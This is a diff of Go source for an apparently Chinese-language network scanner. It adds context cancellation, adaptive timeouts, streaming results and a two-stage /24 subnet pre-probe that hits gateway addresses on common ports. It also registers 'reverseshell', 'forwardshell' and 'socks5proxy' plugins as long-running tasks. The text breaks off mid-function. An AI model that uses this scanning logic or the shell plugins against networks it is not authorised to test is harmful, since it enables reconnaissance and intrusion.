||||||
mu sync.Mutex
|
mu sync.Mutex
|
||||||
addrs map[string]struct{}
|
addrs map[string]struct{}
|
||||||
|
stream chan<- string
|
||||||
}
|
}
|
||||||
|
|
||||||
// newResultCollector 创建结果收集器
|
func newResultCollector(stream chan<- string) *resultCollector {
|
||||||
func newResultCollector() *resultCollector {
|
|
||||||
return &resultCollector{
|
return &resultCollector{
|
||||||
addrs: make(map[string]struct{}),
|
addrs: make(map[string]struct{}),
|
||||||
|
stream: stream,
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// Add 添加一个扫描结果
|
|
||||||
func (c *resultCollector) Add(addr string) {
|
func (c *resultCollector) Add(addr string) {
|
||||||
c.mu.Lock()
|
c.mu.Lock()
|
||||||
|
if _, dup := c.addrs[addr]; dup {
|
||||||
|
c.mu.Unlock()
|
||||||
|
return
|
||||||
|
}
|
||||||
c.addrs[addr] = struct{}{}
|
c.addrs[addr] = struct{}{}
|
||||||
c.mu.Unlock()
|
c.mu.Unlock()
|
||||||
|
if c.stream != nil {
|
||||||
|
c.stream <- addr
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// GetAll 获取所有结果
|
|
||||||
func (c *resultCollector) GetAll() []string {
|
func (c *resultCollector) GetAll() []string {
|
||||||
c.mu.Lock()
|
c.mu.Lock()
|
||||||
result := make([]string, 0, len(c.addrs))
|
result := make([]string, 0, len(c.addrs))
|
||||||
@@ -110,13 +116,31 @@ func (f *failedPortCollector) Count() int {
|
|||||||
|
|
||||||
// EnhancedPortScan 高性能端口扫描函数
|
// EnhancedPortScan 高性能端口扫描函数
|
||||||
// 使用滑动窗口调度 + 自适应线程池 + 流式迭代器
|
// 使用滑动窗口调度 + 自适应线程池 + 流式迭代器
|
||||||
func EnhancedPortScan(hosts []string, ports string, timeout int64, config *common.Config, state *common.State) []string {
|
// stream: 可选,非 nil 时每发现开放端口立即发送 addr,扫描结束后关闭
|
||||||
|
func EnhancedPortScan(ctx context.Context, hosts []string, ports string, timeout int64, session *common.ScanSession, stream chan<- string) []string {
|
||||||
|
config := session.Config
|
||||||
|
state := session.State
|
||||||
common.LogDebug(fmt.Sprintf("[PortScan] 开始: %d个主机, 线程数=%d", len(hosts), config.ThreadNum))
|
common.LogDebug(fmt.Sprintf("[PortScan] 开始: %d个主机, 线程数=%d", len(hosts), config.ThreadNum))
|
||||||
|
|
||||||
|
// 大规模扫描预筛:跨多个 /24 时先做网段探活,跳过空网段
|
||||||
|
if len(hosts) > subnetProbeThreshold {
|
||||||
|
hosts = probeSubnets(ctx, hosts, time.Duration(timeout)*time.Second, session)
|
||||||
|
if len(hosts) == 0 {
|
||||||
|
common.LogInfo(i18n.GetText("port_scan_no_alive_subnet"))
|
||||||
|
if stream != nil {
|
||||||
|
close(stream)
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
// 解析端口和排除端口
|
// 解析端口和排除端口
|
||||||
portList := parsers.ParsePort(ports)
|
portList := parsers.ParsePort(ports)
|
||||||
if len(portList) == 0 {
|
if len(portList) == 0 {
|
||||||
common.LogError(i18n.Tr("invalid_port", ports))
|
common.LogError(i18n.Tr("invalid_port", ports))
|
||||||
|
if stream != nil {
|
||||||
|
close(stream)
|
||||||
|
}
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
common.LogDebug(fmt.Sprintf("[PortScan] 端口解析完成: %d个端口", len(portList)))
|
common.LogDebug(fmt.Sprintf("[PortScan] 端口解析完成: %d个端口", len(portList)))
|
||||||
@@ -161,8 +185,9 @@ func EnhancedPortScan(hosts []string, ports string, timeout int64, config *commo
|
|||||||
|
|
||||||
// 初始化并发控制
|
// 初始化并发控制
|
||||||
to := time.Duration(timeout) * time.Second
|
to := time.Duration(timeout) * time.Second
|
||||||
|
adaptiveTO := NewAdaptiveTimeout(to)
|
||||||
var count int64
|
var count int64
|
||||||
collector := newResultCollector()
|
collector := newResultCollector(stream)
|
||||||
failedCollector := &failedPortCollector{}
|
failedCollector := &failedPortCollector{}
|
||||||
var wg sync.WaitGroup
|
var wg sync.WaitGroup
|
||||||
|
|
||||||
@@ -179,11 +204,14 @@ func EnhancedPortScan(hosts []string, ports string, timeout int64, config *commo
|
|||||||
}()
|
}()
|
||||||
|
|
||||||
addr := fmt.Sprintf("%s:%d", taskInfo.host, taskInfo.port)
|
addr := fmt.Sprintf("%s:%d", taskInfo.host, taskInfo.port)
|
||||||
scanSinglePort(taskInfo.host, taskInfo.port, addr, to, &count, collector, failedCollector, config, state)
|
scanSinglePort(ctx, taskInfo.host, taskInfo.port, addr, adaptiveTO, &count, collector, failedCollector, session)
|
||||||
common.UpdateProgressBar(1)
|
common.UpdateProgressBar(1)
|
||||||
}, state)
|
}, state)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
common.LogError(i18n.Tr("thread_pool_create_failed", err))
|
common.LogError(i18n.Tr("thread_pool_create_failed", err))
|
||||||
|
if stream != nil {
|
||||||
|
close(stream)
|
||||||
|
}
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
common.LogDebug("[PortScan] 线程池创建成功")
|
common.LogDebug("[PortScan] 线程池创建成功")
|
||||||
@@ -197,6 +225,11 @@ func EnhancedPortScan(hosts []string, ports string, timeout int64, config *commo
|
|||||||
// 收集结果
|
// 收集结果
|
||||||
aliveAddrs := collector.GetAll()
|
aliveAddrs := collector.GetAll()
|
||||||
|
|
||||||
|
// 关闭流式通知 channel
|
||||||
|
if stream != nil {
|
||||||
|
close(stream)
|
||||||
|
}
|
||||||
|
|
||||||
// 完成端口扫描进度条
|
// 完成端口扫描进度条
|
||||||
if common.IsProgressActive() {
|
if common.IsProgressActive() {
|
||||||
common.FinishProgressBar()
|
common.FinishProgressBar()
|
||||||
@@ -252,7 +285,10 @@ func slidingWindowSchedule(iter *SocketIterator, pool *AdaptivePool, wg *sync.Wa
|
|||||||
port: port,
|
port: port,
|
||||||
semaphore: semaphore,
|
semaphore: semaphore,
|
||||||
}
|
}
|
||||||
_ = pool.Invoke(task)
|
if err := pool.Invoke(task); err != nil {
|
||||||
|
<-semaphore
|
||||||
|
wg.Done()
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// 等待所有任务完成
|
// 等待所有任务完成
|
||||||
@@ -260,11 +296,11 @@ func slidingWindowSchedule(iter *SocketIterator, pool *AdaptivePool, wg *sync.Wa
|
|||||||
}
|
}
|
||||||
|
|
||||||
// connectWithRetry 带重试的TCP连接 - 只对资源耗尽错误重试
|
// connectWithRetry 带重试的TCP连接 - 只对资源耗尽错误重试
|
||||||
func connectWithRetry(addr string, timeout time.Duration, maxRetries int, state *common.State) (net.Conn, error) {
|
func connectWithRetry(ctx context.Context, session *common.ScanSession, addr string, timeout time.Duration, maxRetries int) (net.Conn, error) {
|
||||||
var lastErr error
|
var lastErr error
|
||||||
|
|
||||||
for attempt := 0; attempt < maxRetries; attempt++ {
|
for attempt := 0; attempt < maxRetries; attempt++ {
|
||||||
conn, err := common.WrapperTcpWithTimeout("tcp", addr, timeout)
|
conn, err := session.DialTCP(ctx, "tcp", addr, timeout)
|
||||||
|
|
||||||
if err == nil {
|
if err == nil {
|
||||||
return conn, nil
|
return conn, nil
|
||||||
@@ -278,11 +314,11 @@ func connectWithRetry(addr string, timeout time.Duration, maxRetries int, state
|
|||||||
}
|
}
|
||||||
|
|
||||||
// 记录资源耗尽错误
|
// 记录资源耗尽错误
|
||||||
state.IncrementResourceExhaustedCount()
|
session.State.IncrementResourceExhaustedCount()
|
||||||
|
|
||||||
// 指数退避:第1次等50ms,第2次等150ms
|
// 指数退避:200ms → 600ms → 1200ms
|
||||||
if attempt < maxRetries-1 {
|
if attempt < maxRetries-1 {
|
||||||
waitTime := time.Duration(50*(attempt+1)) * time.Millisecond
|
waitTime := time.Duration(200*(1<<uint(attempt))) * time.Millisecond
|
||||||
time.Sleep(waitTime)
|
time.Sleep(waitTime)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -341,13 +377,17 @@ func buildServiceLogMessage(addr string, serviceInfo *ServiceInfo, isWeb bool) s
|
|||||||
}
|
}
|
||||||
|
|
||||||
// scanSinglePort 扫描单个端口并进行服务识别(重构后的简洁版本)
|
// scanSinglePort 扫描单个端口并进行服务识别(重构后的简洁版本)
|
||||||
func scanSinglePort(host string, port int, addr string, timeout time.Duration, count *int64, collector *resultCollector, failedCollector *failedPortCollector, config *common.Config, state *common.State) {
|
func scanSinglePort(ctx context.Context, host string, port int, addr string, adaptiveTO *AdaptiveTimeout, count *int64, collector *resultCollector, failedCollector *failedPortCollector, session *common.ScanSession) {
|
||||||
|
config := session.Config
|
||||||
|
timeout := adaptiveTO.Timeout()
|
||||||
// 步骤1:建立连接
|
// 步骤1:建立连接
|
||||||
conn, err := connectWithRetry(addr, timeout, 3, state)
|
start := time.Now()
|
||||||
|
conn, err := connectWithRetry(ctx, session, addr, timeout, 2)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
handleConnectionFailure(err, host, port, addr, failedCollector)
|
handleConnectionFailure(err, host, port, addr, failedCollector)
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
adaptiveTO.Record(time.Since(start))
|
||||||
|
|
||||||
// 步骤1.5:代理连接深度验证(防止透明代理/全回显代理的假连接问题)
|
// 步骤1.5:代理连接深度验证(防止透明代理/全回显代理的假连接问题)
|
||||||
valid, verifyMethod := verifyProxyConnectionDeep(conn, addr)
|
valid, verifyMethod := verifyProxyConnectionDeep(conn, addr)
|
||||||
@@ -362,7 +402,7 @@ func scanSinglePort(host string, port int, addr string, timeout time.Duration, c
|
|||||||
if common.IsProxyEnabled() && verifyMethod != "direct" {
|
if common.IsProxyEnabled() && verifyMethod != "direct" {
|
||||||
_ = conn.Close()
|
_ = conn.Close()
|
||||||
// 重新建立干净的连接用于服务识别
|
// 重新建立干净的连接用于服务识别
|
||||||
conn, err = connectWithRetry(addr, timeout, 3, state)
|
conn, err = connectWithRetry(ctx, session, addr, timeout, 2)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
handleConnectionFailure(err, host, port, addr, failedCollector)
|
handleConnectionFailure(err, host, port, addr, failedCollector)
|
||||||
return
|
return
|
||||||
@@ -375,26 +415,31 @@ func scanSinglePort(host string, port int, addr string, timeout time.Duration, c
|
|||||||
saveOpenPort(host, port)
|
saveOpenPort(host, port)
|
||||||
|
|
||||||
// 步骤3:服务识别(Scanner负责关闭连接,包括探测中可能创建的新连接)
|
// 步骤3:服务识别(Scanner负责关闭连接,包括探测中可能创建的新连接)
|
||||||
scanner := NewSmartPortInfoScanner(host, port, conn, timeout, config)
|
scanner := NewSmartPortInfoScanner(ctx, host, port, conn, timeout, config, session)
|
||||||
|
// 服务探测超时自适应:用 RTT 采样值约束读超时上限
|
||||||
|
// 下限 500ms:服务处理需要时间,不能太激进
|
||||||
|
if rttTO := adaptiveTO.Timeout(); rttTO < timeout {
|
||||||
|
maxMS := int(rttTO.Milliseconds()) * 6
|
||||||
|
if maxMS < 500 {
|
||||||
|
maxMS = 500
|
||||||
|
}
|
||||||
|
scanner.info.maxReadTimeoutMS = maxMS
|
||||||
|
}
|
||||||
defer scanner.Close()
|
defer scanner.Close()
|
||||||
serviceInfo, _ := scanner.SmartIdentify()
|
serviceInfo, _ := scanner.SmartIdentify()
|
||||||
|
|
||||||
// 步骤4:处理结果
|
// 步骤4:处理结果
|
||||||
processServiceResult(host, port, addr, serviceInfo, config)
|
processServiceResult(host, port, addr, serviceInfo, config, session)
|
||||||
}
|
}
|
||||||
|
|
||||||
// handleConnectionFailure 处理连接失败
|
// handleConnectionFailure 处理连接失败
|
||||||
|
// 只收集资源耗尽类错误,timeout 是正常的扫描结果(防火墙 drop)不计入失败
|
||||||
func handleConnectionFailure(err error, host string, port int, addr string, failedCollector *failedPortCollector) {
|
func handleConnectionFailure(err error, host string, port int, addr string, failedCollector *failedPortCollector) {
|
||||||
if isResourceExhaustedError(err) || isTimeoutError(err) {
|
if isResourceExhaustedError(err) {
|
||||||
failedCollector.Add(host, port, addr)
|
failedCollector.Add(host, port, addr)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// isTimeoutError 判断是否为超时错误
|
|
||||||
func isTimeoutError(err error) bool {
|
|
||||||
return err != nil && strings.Contains(err.Error(), "i/o timeout")
|
|
||||||
}
|
|
||||||
|
|
||||||
// verifyProxyConnectionDeep 深度验证代理连接是否真正可用
|
// verifyProxyConnectionDeep 深度验证代理连接是否真正可用
|
||||||
// 防止透明代理/全回显代理的假连接问题
|
// 防止透明代理/全回显代理的假连接问题
|
||||||
// 返回: (是否有效, 验证方式)
|
// 返回: (是否有效, 验证方式)
|
||||||
@@ -404,8 +449,9 @@ func isTimeoutError(err error) bool {
|
|||||||
// 2. 轻量探测 (发送 \r\n) - 触发某些服务响应,同时不污染协议状态
|
// 2. 轻量探测 (发送 \r\n) - 触发某些服务响应,同时不污染协议状态
|
||||||
// 3. 短超时等待 (500ms) - 平衡准确性和性能
|
// 3. 短超时等待 (500ms) - 平衡准确性和性能
|
||||||
func verifyProxyConnectionDeep(conn net.Conn, addr string) (bool, string) {
|
func verifyProxyConnectionDeep(conn net.Conn, addr string) (bool, string) {
|
||||||
// 如果没有使用代理,跳过验证
|
// 无代理或SOCKS5代理:跳过深度验证
|
||||||
if !common.IsProxyEnabled() {
|
// SOCKS5协议层已验证连接可达性,连接成功即端口开放
|
||||||
|
if !common.IsProxyEnabled() || common.IsSOCKS5Proxy() {
|
||||||
return true, "direct"
|
return true, "direct"
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -550,10 +596,10 @@ func saveOpenPort(host string, port int) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// processServiceResult 处理服务识别结果
|
// processServiceResult 处理服务识别结果
|
||||||
func processServiceResult(host string, port int, addr string, serviceInfo *ServiceInfo, config *common.Config) {
|
func processServiceResult(host string, port int, addr string, serviceInfo *ServiceInfo, config *common.Config, session *common.ScanSession) {
|
||||||
if serviceInfo == nil {
|
if serviceInfo == nil {
|
||||||
// 服务识别失败,尝试 HTTP 回退探测
|
// 服务识别失败,尝试 HTTP 回退探测
|
||||||
if !tryHTTPFallbackDetection(host, port, addr, config) {
|
if !tryHTTPFallbackDetection(host, port, addr, config, session) {
|
||||||
common.LogInfo(i18n.Tr("port_open", addr))
|
common.LogInfo(i18n.Tr("port_open", addr))
|
||||||
}
|
}
|
||||||
return
|
return
|
||||||
@@ -613,10 +659,10 @@ func buildServiceDetails(port int, info *ServiceInfo) map[string]interface{} {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// tryHTTPFallbackDetection 尝试HTTP回退探测,返回是否成功识别为HTTP服务
|
// tryHTTPFallbackDetection 尝试HTTP回退探测,返回是否成功识别为HTTP服务
|
||||||
func tryHTTPFallbackDetection(host string, port int, addr string, config *common.Config) bool {
|
func tryHTTPFallbackDetection(host string, port int, addr string, config *common.Config, session *common.ScanSession) bool {
|
||||||
// 使用WebDetection进行HTTP协议探测
|
// 使用WebDetection进行HTTP协议探测
|
||||||
webDetector := GetWebPortDetector()
|
webDetector := GetWebPortDetector()
|
||||||
if !webDetector.DetectHTTPServiceOnly(host, port, config) {
|
if !webDetector.DetectHTTPServiceOnly(host, port, config, session) {
|
||||||
return false
|
return false
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -647,3 +693,140 @@ func tryHTTPFallbackDetection(host string, port int, addr string, config *common
|
|||||||
common.LogInfo(i18n.Tr("port_open_http", addr))
|
common.LogInfo(i18n.Tr("port_open_http", addr))
|
||||||
return true
|
return true
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// =============================================================================
|
||||||
|
// 网段预筛 — 大规模扫描时跳过空 /24 网段
|
||||||
|
// =============================================================================
|
||||||
|
|
||||||
|
// subnetProbeThreshold 触发网段预筛的主机数阈值(超过 1 个 /24)
|
||||||
|
const subnetProbeThreshold = 256
|
||||||
|
|
||||||
|
// subnetProbePorts 逐主机探活用的端口(轮换)
|
||||||
|
var subnetProbePorts = []int{80, 443, 22, 445, 3389, 8080, 3306, 6379}
|
||||||
|
|
||||||
|
// gatewayProbePorts 网关启发式探测端口(网关常开的服务)
|
||||||
|
var gatewayProbePorts = []int{22, 80, 443, 23, 8080, 161, 53, 3389}
|
||||||
|
|
||||||
|
// gatewayOffsets 网关候选地址偏移量
|
||||||
|
var gatewayOffsets = []string{".1", ".254"}
|
||||||
|
|
||||||
|
// subnetProbeTimeout 每个探测的超时
|
||||||
|
const subnetProbeTimeout = 1500 * time.Millisecond
|
||||||
|
|
||||||
|
// subnetProbeConcurrency 网段探活全局并发数
|
||||||
|
const subnetProbeConcurrency = 500
|
||||||
|
|
||||||
|
// probeSubnets 对每个 /24 网段做探活,返回属于存活网段的主机列表
|
||||||
|
// 两阶段策略:
|
||||||
|
//
|
||||||
|
// 阶段 1(快速):对每个子网的 .1/.254 网关做多端口探测,命中即标记存活
|
||||||
|
// 阶段 2(兜底):未命中的子网,逐主机单端口轮换扫描
|
||||||
|
func probeSubnets(ctx context.Context, hosts []string, timeout time.Duration, session *common.ScanSession) []string {
|
||||||
|
// 按 /24 分组
|
||||||
|
subnets := make(map[string][]string)
|
||||||
|
for _, h := range hosts {
|
||||||
|
prefix := subnetPrefix(h)
|
||||||
|
if prefix != "" {
|
||||||
|
subnets[prefix] = append(subnets[prefix], h)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if len(subnets) <= 1 {
|
||||||
|
return hosts
|
||||||
|
}
|
||||||
|
|
||||||
|
common.LogInfo(fmt.Sprintf("网段预筛: %d 个 /24 子网, %d 个主机", len(subnets), len(hosts)))
|
||||||
|
|
||||||
|
aliveSubnets := sync.Map{}
|
||||||
|
var wg sync.WaitGroup
|
||||||
|
limiter := make(chan struct{}, subnetProbeConcurrency)
|
||||||
|
|
||||||
|
// ── 阶段 1:网关启发式 ──────────────────────────────────
|
||||||
|
// 对每个子网的 .1 和 .254 打多个端口,命中率高且速度极快
|
||||||
|
for prefix := range subnets {
|
||||||
|
for _, suffix := range gatewayOffsets {
|
||||||
|
gw := prefix + suffix
|
||||||
|
for _, port := range gatewayProbePorts {
|
||||||
|
wg.Add(1)
|
||||||
|
limiter <- struct{}{}
|
||||||
|
go func(pfx, addr string) {
|
||||||
|
defer func() { <-limiter; wg.Done() }()
|
||||||
|
conn, err := net.DialTimeout("tcp", addr, subnetProbeTimeout)
|
||||||
|
if err == nil {
|
||||||
|
_ = conn.Close()
|
||||||
|
aliveSubnets.Store(pfx, true)
|
||||||
|
}
|
||||||
|
}(prefix, fmt.Sprintf("%s:%d", gw, port))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
wg.Wait()
|
||||||
|
|
||||||
|
// 统计阶段 1 命中
|
||||||
|
gwHits := 0
|
||||||
|
aliveSubnets.Range(func(_, _ interface{}) bool { gwHits++; return true })
|
||||||
|
|
||||||
|
// ── 阶段 2:逐主机兜底(仅对网关未命中的子网)──────────
|
||||||
|
for prefix, subnetHosts := range subnets {
|
||||||
|
if _, alive := aliveSubnets.Load(prefix); alive {
|
||||||
|
continue // 网关已命中,跳过
|
||||||
|
}
|
||||||
|
|
||||||
|
for i, host := range subnetHosts {
|
||||||
|
select {
|
||||||
|
case <-ctx.Done():
|
||||||
|
goto done
|
||||||
|
default:
|
||||||
|
}
|
||||||
|
|
||||||
|
if _, alive := aliveSubnets.Load(prefix); alive {
|
||||||
|
break
|
||||||
|
}
|
||||||
|
|
||||||
|
port := subnetProbePorts[i%len(subnetProbePorts)]
|
||||||
|
wg.Add(1)
|
||||||
|
limiter <- struct{}{}
|
||||||
|
|
||||||
|
go func(pfx, h string, p int) {
|
||||||
|
defer func() { <-limiter; wg.Done() }()
|
||||||
|
conn, err := net.DialTimeout("tcp", fmt.Sprintf("%s:%d", h, p), subnetProbeTimeout)
|
||||||
|
if err == nil {
|
||||||
|
_ = conn.Close()
|
||||||
|
aliveSubnets.Store(pfx, true)
|
||||||
|
}
|
||||||
|
}(prefix, host, port)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
done:
|
||||||
|
wg.Wait()
|
||||||
|
|
||||||
|
// 统计
|
||||||
|
aliveCount := 0
|
||||||
|
aliveSubnets.Range(func(_, _ interface{}) bool { aliveCount++; return true })
|
||||||
|
|
||||||
|
if aliveCount == 0 {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
result := make([]string, 0, len(hosts))
|
||||||
|
for _, h := range hosts {
|
||||||
|
if _, alive := aliveSubnets.Load(subnetPrefix(h)); alive {
|
||||||
|
result = append(result, h)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
skipped := len(subnets) - aliveCount
|
||||||
|
common.LogInfo(fmt.Sprintf("网段预筛完成: %d 个存活 (网关命中 %d), %d 个跳过, 剩余 %d 主机",
|
||||||
|
aliveCount, gwHits, skipped, len(result)))
|
||||||
|
return result
|
||||||
|
}
|
||||||
|
|
||||||
|
// subnetPrefix 提取 IP 的 /24 前缀(如 "10.1.1")
|
||||||
|
func subnetPrefix(ip string) string {
|
||||||
|
lastDot := strings.LastIndex(ip, ".")
|
||||||
|
if lastDot <= 0 {
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
return ip[:lastDot]
|
||||||
|
}
|
||||||
|
|||||||
@@ -25,6 +25,23 @@ func (vs *VScan) Init() {
|
|||||||
vs.parseProbesToMapKName()
|
vs.parseProbesToMapKName()
|
||||||
vs.SetusedProbes()
|
vs.SetusedProbes()
|
||||||
vs.compileFallbacks() // 编译 fallback 数组
|
vs.compileFallbacks() // 编译 fallback 数组
|
||||||
|
vs.preDecodeProbeData() // 预解码探针数据
|
||||||
|
}
|
||||||
|
|
||||||
|
// preDecodeProbeData 预解码所有探针的 Data 字段,避免运行时重复解码
|
||||||
|
func (vs *VScan) preDecodeProbeData() {
|
||||||
|
for i := range vs.Probes {
|
||||||
|
if vs.Probes[i].Data != "" {
|
||||||
|
decoded, err := DecodeData(vs.Probes[i].Data)
|
||||||
|
if err == nil {
|
||||||
|
vs.Probes[i].DecodedData = decoded
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
// 同步到 map
|
||||||
|
for i := range vs.Probes {
|
||||||
|
vs.ProbesMapKName[vs.Probes[i].Name] = vs.Probes[i]
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// compileFallbacks 编译所有探测器的 fallback 数组
|
// compileFallbacks 编译所有探测器的 fallback 数组
|
||||||
|
|||||||
@@ -20,6 +20,7 @@ const MaxFallbacks = 20
|
|||||||
type Probe struct {
|
type Probe struct {
|
||||||
Name string // 探测器名称
|
Name string // 探测器名称
|
||||||
Data string // 探测数据
|
Data string // 探测数据
|
||||||
|
DecodedData []byte // 预解码的探测数据
|
||||||
Protocol string // 协议
|
Protocol string // 协议
|
||||||
Ports string // 端口范围
|
Ports string // 端口范围
|
||||||
SSLPorts string // SSL端口范围
|
SSLPorts string // SSL端口范围
|
||||||
|
|||||||
+74
-12
@@ -3,6 +3,7 @@ package core
|
|||||||
import (
|
import (
|
||||||
"context"
|
"context"
|
||||||
"fmt"
|
"fmt"
|
||||||
|
"net/url"
|
||||||
"os"
|
"os"
|
||||||
"os/signal"
|
"os/signal"
|
||||||
"sync"
|
"sync"
|
||||||
@@ -18,7 +19,7 @@ import (
|
|||||||
|
|
||||||
// ScanStrategy 定义扫描策略接口
|
// ScanStrategy 定义扫描策略接口
|
||||||
type ScanStrategy interface {
|
type ScanStrategy interface {
|
||||||
Execute(config *common.Config, state *common.State, info common.HostInfo, ch chan struct{}, wg *sync.WaitGroup)
|
Execute(ctx context.Context, session *common.ScanSession, info common.HostInfo, ch chan struct{}, wg *sync.WaitGroup)
|
||||||
GetPlugins(config *common.Config) ([]string, bool)
|
GetPlugins(config *common.Config) ([]string, bool)
|
||||||
IsPluginApplicableByName(pluginName string, targetHost string, targetPort int, isCustomMode bool, config *common.Config) bool
|
IsPluginApplicableByName(pluginName string, targetHost string, targetPort int, isCustomMode bool, config *common.Config) bool
|
||||||
}
|
}
|
||||||
@@ -73,7 +74,13 @@ func selectStrategy(config *common.Config, state *common.State, info common.Host
|
|||||||
}
|
}
|
||||||
|
|
||||||
// RunScan 执行整体扫描流程
|
// RunScan 执行整体扫描流程
|
||||||
func RunScan(info common.HostInfo, config *common.Config, state *common.State) {
|
func RunScan(ctx context.Context, info common.HostInfo, session *common.ScanSession) {
|
||||||
|
ctx, cancel := context.WithCancel(ctx)
|
||||||
|
defer cancel()
|
||||||
|
|
||||||
|
config := session.Config
|
||||||
|
state := session.State
|
||||||
|
|
||||||
// 初始化HTTP客户端(静默,无需日志)
|
// 初始化HTTP客户端(静默,无需日志)
|
||||||
if err := lib.Inithttp(config); err != nil {
|
if err := lib.Inithttp(config); err != nil {
|
||||||
common.LogError(i18n.Tr("http_client_init_failed", err))
|
common.LogError(i18n.Tr("http_client_init_failed", err))
|
||||||
@@ -88,7 +95,7 @@ func RunScan(info common.HostInfo, config *common.Config, state *common.State) {
|
|||||||
wg := sync.WaitGroup{}
|
wg := sync.WaitGroup{}
|
||||||
|
|
||||||
// 执行策略
|
// 执行策略
|
||||||
strategy.Execute(config, state, info, ch, &wg)
|
strategy.Execute(ctx, session, info, ch, &wg)
|
||||||
|
|
||||||
// 等待所有扫描完成
|
// 等待所有扫描完成
|
||||||
wg.Wait()
|
wg.Wait()
|
||||||
@@ -106,11 +113,16 @@ func RunScan(info common.HostInfo, config *common.Config, state *common.State) {
|
|||||||
}
|
}
|
||||||
common.LogInfo(i18n.GetText("press_ctrl_c_exit"))
|
common.LogInfo(i18n.GetText("press_ctrl_c_exit"))
|
||||||
|
|
||||||
// 优雅等待信号
|
// 优雅等待信号或 context 取消(Web Stop)
|
||||||
sigChan := make(chan os.Signal, 1)
|
sigChan := make(chan os.Signal, 1)
|
||||||
signal.Notify(sigChan, os.Interrupt, syscall.SIGTERM)
|
signal.Notify(sigChan, os.Interrupt, syscall.SIGTERM)
|
||||||
<-sigChan
|
select {
|
||||||
common.LogInfo(i18n.GetText("received_exit_signal"))
|
case <-sigChan:
|
||||||
|
common.LogInfo(i18n.GetText("received_exit_signal"))
|
||||||
|
case <-ctx.Done():
|
||||||
|
}
|
||||||
|
cancel()
|
||||||
|
time.Sleep(500 * time.Millisecond)
|
||||||
}
|
}
|
||||||
|
|
||||||
// 完成扫描
|
// 完成扫描
|
||||||
@@ -134,7 +146,9 @@ func finishScan(config *common.Config, state *common.State) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// ExecuteScanTasks 任务执行通用框架
|
// ExecuteScanTasks 任务执行通用框架
|
||||||
func ExecuteScanTasks(config *common.Config, state *common.State, targets []common.HostInfo, strategy ScanStrategy, ch chan struct{}, wg *sync.WaitGroup) {
|
func ExecuteScanTasks(ctx context.Context, session *common.ScanSession, targets []common.HostInfo, strategy ScanStrategy, ch chan struct{}, wg *sync.WaitGroup) {
|
||||||
|
config := session.Config
|
||||||
|
|
||||||
// 获取要执行的插件
|
// 获取要执行的插件
|
||||||
pluginsToRun, isCustomMode := strategy.GetPlugins(config)
|
pluginsToRun, isCustomMode := strategy.GetPlugins(config)
|
||||||
|
|
||||||
@@ -149,6 +163,13 @@ func ExecuteScanTasks(config *common.Config, state *common.State, targets []comm
|
|||||||
|
|
||||||
// 流式执行任务,避免预构建大量任务对象
|
// 流式执行任务,避免预构建大量任务对象
|
||||||
for _, target := range targets {
|
for _, target := range targets {
|
||||||
|
// 检查取消
|
||||||
|
select {
|
||||||
|
case <-ctx.Done():
|
||||||
|
return
|
||||||
|
default:
|
||||||
|
}
|
||||||
|
|
||||||
targetPort := target.Port
|
targetPort := target.Port
|
||||||
|
|
||||||
for _, pluginName := range pluginsToRun {
|
for _, pluginName := range pluginsToRun {
|
||||||
@@ -159,7 +180,7 @@ func ExecuteScanTasks(config *common.Config, state *common.State, targets []comm
|
|||||||
|
|
||||||
// 检查插件是否适用于当前目标
|
// 检查插件是否适用于当前目标
|
||||||
if strategy.IsPluginApplicableByName(pluginName, target.Host, targetPort, isCustomMode, config) {
|
if strategy.IsPluginApplicableByName(pluginName, target.Host, targetPort, isCustomMode, config) {
|
||||||
executeScanTask(config, state, pluginName, target, ch, wg)
|
executeScanTask(ctx, session, pluginName, target, ch, wg)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -182,10 +203,44 @@ func countApplicableTasks(targets []common.HostInfo, pluginsToRun []string, isCu
|
|||||||
return count
|
return count
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// longRunningPlugins 长驻插件,不加入 scan WaitGroup,通过 ctx 取消退出
|
||||||
|
var longRunningPlugins = map[string]bool{
|
||||||
|
"forwardshell": true,
|
||||||
|
"socks5proxy": true,
|
||||||
|
"reverseshell": true,
|
||||||
|
}
|
||||||
|
|
||||||
// executeScanTask 执行单个扫描任务
|
// executeScanTask 执行单个扫描任务
|
||||||
func executeScanTask(config *common.Config, state *common.State, pluginName string, target common.HostInfo, ch chan struct{}, wg *sync.WaitGroup) {
|
func executeScanTask(ctx context.Context, session *common.ScanSession, pluginName string, target common.HostInfo, ch chan struct{}, wg *sync.WaitGroup) {
|
||||||
|
state := session.State
|
||||||
|
|
||||||
|
// 检查取消
|
||||||
|
select {
|
||||||
|
case <-ctx.Done():
|
||||||
|
return
|
||||||
|
default:
|
||||||
|
}
|
||||||
|
|
||||||
|
// 长驻插件不进 WaitGroup,通过 ctx 管理生命周期
|
||||||
|
if longRunningPlugins[pluginName] {
|
||||||
|
go func() {
|
||||||
|
plugin := plugins.Get(pluginName)
|
||||||
|
